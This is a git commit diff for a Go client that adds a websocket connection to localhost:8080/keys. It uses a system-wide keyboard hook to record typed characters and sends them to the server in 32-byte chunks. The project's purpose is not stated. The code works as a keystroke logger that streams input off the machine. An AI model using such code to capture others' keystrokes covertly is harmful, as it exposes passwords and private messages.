✨ Adds websocket server connection
This commit is contained in:
parent
877df49f80
commit
b7b5e3169b
@ -3,6 +3,8 @@ module svitan.dev/keys/client
|
|||||||
go 1.24.1
|
go 1.24.1
|
||||||
|
|
||||||
require (
|
require (
|
||||||
github.com/robotn/gohook v0.42.0 // indirect
|
github.com/gorilla/websocket v1.5.3
|
||||||
github.com/vcaesar/keycode v0.10.1 // indirect
|
github.com/robotn/gohook v0.42.0
|
||||||
)
|
)
|
||||||
|
|
||||||
|
require github.com/vcaesar/keycode v0.10.1 // indirect
|
||||||
|
@ -1,4 +1,8 @@
|
|||||||
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
|
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
|
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
|
||||||
github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
||||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
||||||
|
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
||||||
|
github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
|
||||||
|
@ -2,7 +2,10 @@ package main
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net/url"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
hook "github.com/robotn/gohook"
|
hook "github.com/robotn/gohook"
|
||||||
)
|
)
|
||||||
|
|
||||||
@ -16,7 +19,45 @@ const (
|
|||||||
REG_END = 255
|
REG_END = 255
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const HOST = "localhost:8080"
|
||||||
|
|
||||||
|
var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
var conn *websocket.Conn
|
||||||
|
var err error
|
||||||
|
var tries = 0
|
||||||
|
for {
|
||||||
|
conn, _, err = websocket.DefaultDialer.Dial(u.String(), nil)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("conn err %v\n", err)
|
||||||
|
tries += 1
|
||||||
|
if tries >= 3 {
|
||||||
|
fmt.Printf("returning")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
fmt.Printf("breaking")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer os.Exit(0)
|
||||||
|
for {
|
||||||
|
kind, _, err := conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("got read err %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if kind == websocket.CloseMessage {
|
||||||
|
fmt.Printf("got close message")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
evChan := hook.Start()
|
evChan := hook.Start()
|
||||||
defer hook.End()
|
defer hook.End()
|
||||||
buff := make([]byte, 64)
|
buff := make([]byte, 64)
|
||||||
@ -71,11 +112,13 @@ func main() {
|
|||||||
|
|
||||||
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
|
|
||||||
buff = append(buff, byte(ev.Keychar))
|
buff = append(buff, byte(ev.Keychar))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("'%s'\n", buff)
|
if len(buff) >= 32 {
|
||||||
|
conn.WriteMessage(websocket.TextMessage, buff[:32])
|
||||||
|
buff = buff[32:]
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user